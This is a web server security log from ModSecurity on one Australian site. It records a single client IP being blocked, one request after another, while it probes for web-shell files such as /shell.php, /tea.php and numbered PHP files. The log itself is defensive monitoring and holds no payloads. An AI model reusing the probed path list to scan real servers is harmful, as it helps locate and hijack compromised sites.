[Fri Apr 24 01:50:08.306279 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:65342] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepb0L6vRb9j6psK2ZZ7MAAAAgw"]
[Fri Apr 24 01:50:08.885458 2026] [:error] [pid 42971:tid 43003] [client 74.248.129.192:65321] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepb0DEP2_5RswrH8bFQzgAAABE"]
[Fri Apr 24 01:50:09.494964 2026] [:error] [pid 42972:tid 43022] [client 74.248.129.192:64877] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepb0cOAb-3sOknsk4fDDAAAAEY"]
[Fri Apr 24 01:50:10.053578 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:63856] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepb0oV5EysYcTLjmwgzaQAAAcs"]
[Fri Apr 24 01:50:10.594632 2026] [:error] [pid 65000:tid 65052] [client 74.248.129.192:64894] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepb0r6vRb9j6psK2ZZ7NwAAAhM"]
[Fri Apr 24 01:50:11.225408 2026] [:error] [pid 42973:tid 43057] [client 74.248.129.192:64405] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepb026I0QqmmmLTHE2DlwAAAI4"]
[Fri Apr 24 01:50:11.791449 2026] [:error] [pid 59700:tid 59720] [client 74.248.129.192:64946] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aepb05XyGZJFeAIDWtl3JAAAAVI"]
[Fri Apr 24 01:50:12.339439 2026] [:error] [pid 42973:tid 43051] [client 74.248.129.192:65294] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aepb1G6I0QqmmmLTHE2DmQAAAIg"]
[Fri Apr 24 01:50:12.949318 2026] [:error] [pid 42973:tid 43055] [client 74.248.129.192:9606] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aepb1G6I0QqmmmLTHE2DnwAAAIw"]
[Fri Apr 24 01:50:13.523233 2026] [:error] [pid 42971:tid 43009] [client 74.248.129.192:65314] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aepb1TEP2_5RswrH8bFQzwAAABc"]
[Fri Apr 24 01:50:14.105226 2026] [:error] [pid 59700:tid 59718] [client 74.248.129.192:9638] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepb1pXyGZJFeAIDWtl3KgAAAVA"]
[Fri Apr 24 01:50:14.762323 2026] [:error] [pid 42973:tid 43063] [client 74.248.129.192:64948] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepb1m6I0QqmmmLTHE2DowAAAJQ"]
[Fri Apr 24 01:50:15.368704 2026] [:error] [pid 46953:tid 46980] [client 74.248.129.192:65225] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepb10nlpdHh-P6wKbp5twAAAlc"]
[Fri Apr 24 01:50:15.919723 2026] [:error] [pid 64998:tid 65006] [client 74.248.129.192:64387] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepb14V5EysYcTLjmwgzdAAAAcQ"]
[Fri Apr 24 01:50:16.499152 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:18805] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepb2IV5EysYcTLjmwgzdwAAAdU"]
[Fri Apr 24 01:50:17.043984 2026] [:error] [pid 65000:tid 65032] [client 74.248.129.192:9610] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepb2b6vRb9j6psK2ZZ7QAAAAgM"]
[Fri Apr 24 01:50:17.556196 2026] [:error] [pid 43083:tid 43101] [client 74.248.129.192:65338] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepb2TC5hrvNXosL83KtYAAAANA"]
[Fri Apr 24 01:50:18.077257 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:63309] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepb2r6vRb9j6psK2ZZ7RAAAAhY"]
[Fri Apr 24 01:50:18.619376 2026] [:error] [pid 42973:tid 43067] [client 74.248.129.192:18787] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepb2m6I0QqmmmLTHE2DpwAAAJg"]
[Fri Apr 24 01:50:19.205200 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:38019] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepb276vRb9j6psK2ZZ7SQAAAgg"]
[Fri Apr 24 01:50:19.753582 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:65221] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepb276vRb9j6psK2ZZ7UAAAAhU"]
[Fri Apr 24 01:50:20.266626 2026] [:error] [pid 65000:tid 65040] [client 74.248.129.192:38026] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepb3L6vRb9j6psK2ZZ7VgAAAgc"]
[Fri Apr 24 01:50:20.830590 2026] [:error] [pid 43083:tid 43091] [client 74.248.129.192:18798] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepb3DC5hrvNXosL83KtYwAAAMY"]
[Fri Apr 24 01:50:21.417531 2026] [:error] [pid 59700:tid 59704] [client 74.248.129.192:64942] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepb3ZXyGZJFeAIDWtl3OwAAAUI"]
[Fri Apr 24 01:50:21.979416 2026] [:error] [pid 43083:tid 43097] [client 74.248.129.192:18769] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepb3TC5hrvNXosL83KtZQAAAMw"]
[Fri Apr 24 01:50:22.523348 2026] [:error] [pid 42973:tid 43065] [client 74.248.129.192:64879] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepb3m6I0QqmmmLTHE2DqgAAAJY"]
[Fri Apr 24 01:50:23.130016 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:64862] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepb376vRb9j6psK2ZZ7YQAAAhU"]
[Fri Apr 24 01:50:23.643622 2026] [:error] [pid 46953:tid 46961] [client 74.248.129.192:64880] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepb30nlpdHh-P6wKbp5wQAAAkU"]
[Fri Apr 24 01:50:24.275054 2026] [:error] [pid 42973:tid 43064] [client 74.248.129.192:65235] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepb4G6I0QqmmmLTHE2DrQAAAJU"]
[Fri Apr 24 01:50:24.875298 2026] [:error] [pid 64967:tid 64975] [client 74.248.129.192:64435] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepb4IAV4GfOOdX8QzqY_wAAAYY"]
[Fri Apr 24 01:50:25.468878 2026] [:error] [pid 42971:tid 42991] [client 74.248.129.192:65297] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepb4TEP2_5RswrH8bFQ3AAAAAU"]
[Fri Apr 24 01:50:26.006986 2026] [:error] [pid 59700:tid 59713] [client 74.248.129.192:65319] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepb4pXyGZJFeAIDWtl3PgAAAUs"]
[Fri Apr 24 01:50:26.541425 2026] [:error] [pid 59700:tid 59719] [client 74.248.129.192:64843] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepb4pXyGZJFeAIDWtl3RAAAAVE"]
[Fri Apr 24 01:50:27.088362 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:38054] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepb44V5EysYcTLjmwgzhgAAAdE"]
[Fri Apr 24 01:50:27.658143 2026] [:error] [pid 65000:tid 65031] [client 74.248.129.192:64356] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepb476vRb9j6psK2ZZ7ZwAAAgI"]
[Fri Apr 24 01:50:28.233087 2026] [:error] [pid 65000:tid 65050] [client 74.248.129.192:64927] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepb5L6vRb9j6psK2ZZ7bgAAAhE"]
[Fri Apr 24 01:50:28.814348 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:64429] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepb5L6vRb9j6psK2ZZ7cgAAAgg"]
[Fri Apr 24 01:50:29.392470 2026] [:error] [pid 42972:tid 43033] [client 74.248.129.192:64367] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepb5cOAb-3sOknsk4fDIAAAAFE"]
[Fri Apr 24 01:50:29.938278 2026] [:error] [pid 42972:tid 43038] [client 74.248.129.192:65261] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepb5cOAb-3sOknsk4fDIgAAAFY"]
[Fri Apr 24 01:50:30.497867 2026] [:error] [pid 64998:tid 65025] [client 74.248.129.192:64949] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepb5oV5EysYcTLjmwgzjAAAAdc"]
[Fri Apr 24 01:50:31.071991 2026] [:error] [pid 64998:tid 65002] [client 74.248.129.192:9620] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepb54V5EysYcTLjmwgzjwAAAcA"]
[Fri Apr 24 01:50:31.621023 2026] [:error] [pid 64998:tid 65007] [client 74.248.129.192:64895] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepb54V5EysYcTLjmwgzkgAAAcU"]
[Fri Apr 24 01:50:32.137113 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:38031] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepb6IV5EysYcTLjmwgzlQAAAdE"]
[Fri Apr 24 01:50:32.695389 2026] [:error] [pid 42971:tid 42988] [client 74.248.129.192:63882] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepb6DEP2_5RswrH8bFQ3wAAAAI"]
[Fri Apr 24 01:50:33.251484 2026] [:error] [pid 64998:tid 65022] [client 74.248.129.192:64901] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepb6YV5EysYcTLjmwgzmgAAAdQ"]
[Fri Apr 24 01:50:33.791199 2026] [:error] [pid 25635:tid 25645] [client 74.248.129.192:64864] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepb6cRxv6UsgRGKB3JRngAAAQY"]
[Fri Apr 24 01:50:34.354626 2026] [:error] [pid 64967:tid 64991] [client 74.248.129.192:64390] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aepb6oAV4GfOOdX8QzqZAgAAAZY"]
[Fri Apr 24 01:50:34.949429 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:65295] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aepb6oV5EysYcTLjmwgznQAAAcw"]
[Fri Apr 24 01:50:35.522288 2026] [:error] [pid 59700:tid 59702] [client 74.248.129.192:64841] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aepb65XyGZJFeAIDWtl3SAAAAUA"]
[Fri Apr 24 01:50:36.080680 2026] [:error] [pid 65000:tid 65056] [client 74.248.129.192:63381] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aepb7L6vRb9j6psK2ZZ7hQAAAhc"]
[Fri Apr 24 01:50:36.601437 2026] [:error] [pid 42971:tid 42995] [client 74.248.129.192:18794] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aepb7DEP2_5RswrH8bFQ4gAAAAk"]
[Fri Apr 24 01:50:37.252478 2026] [:error] [pid 42971:tid 43000] [client 74.248.129.192:9636] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aepb7TEP2_5RswrH8bFQ4wAAAA4"]
[Fri Apr 24 01:50:37.818043 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:18803] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aepb7b6vRb9j6psK2ZZ7kwAAAgg"]
[Fri Apr 24 01:50:38.391181 2026] [:error] [pid 42972:tid 43037] [client 74.248.129.192:64946] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aepb7sOAb-3sOknsk4fDKgAAAFU"]
[Fri Apr 24 01:50:38.970555 2026] [:error] [pid 42972:tid 43039] [client 74.248.129.192:63361] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aepb7sOAb-3sOknsk4fDLAAAAFc"]
[Fri Apr 24 01:50:39.512324 2026] [:error] [pid 65000:tid 65048] [client 74.248.129.192:18796] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aepb776vRb9j6psK2ZZ7lwAAAg8"]
